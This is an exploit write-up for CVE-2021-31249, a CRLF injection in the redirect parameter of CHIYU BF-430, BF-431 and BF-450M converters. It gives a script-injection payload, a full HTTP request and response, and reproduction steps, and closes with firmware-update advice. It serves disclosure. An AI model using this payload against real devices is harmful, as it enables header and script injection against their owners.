# Exploit Title: CHIYU TCP/IP Converter devices - CRLF injection
# Date: May 31 2021
# Exploit Author: sirpedrotavares
# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html
# Software Link: https://www.chiyu-tech.com/category-hardware.html
# Version:  BF-430, BF-431, and BF-450M TCP/IP Converter devices   - all firmware versions < June 2021
# Tested on:  BF-430, BF-431, and BF-450M
# Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks

Description: A CRLF injection vulnerability was found on BF-430, BF-431, and BF-450M TCP/IP Converter devices from CHIYU Technology Inc due to a lack of validation on the parameter redirect= available on multiple CGI components.
CVSS: Medium – CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31249

Affected parameter: redirect=Component: all the CGI components
Payload: %0d%0a%0d%0a<script>alert(document.domain)</script>

====HTTP request======
GET
/man.cgi?redirect=setting.htm%0d%0a%0d%0a<script>alert(document.domain)</script>&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=&TF_port=&B_mac_apply=APPLY
HTTP/1.1
Host: 192.168.187.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.187.12/manage.htm
Authorization: Basic OmFkbWlu
Connection: close
Upgrade-Insecure-Requests: 1

======HTTP response========
HTTP/1.1 302 Found
Location: setting.htm
<script>alert(document.domain)</script>
Content-Length: 0
Content-Type: text/html


Steps to reproduce:
  1. Navigate to the vulnerable device
  2. Make a GET request to all CGI components
  3. Append the payload at the end of the vulnerable parameter (redirect )
  4. Submit the request and observe payload execution


 Mitigation: The latest version of the CHIYU firmware should be installed
to mitigate this vulnerability.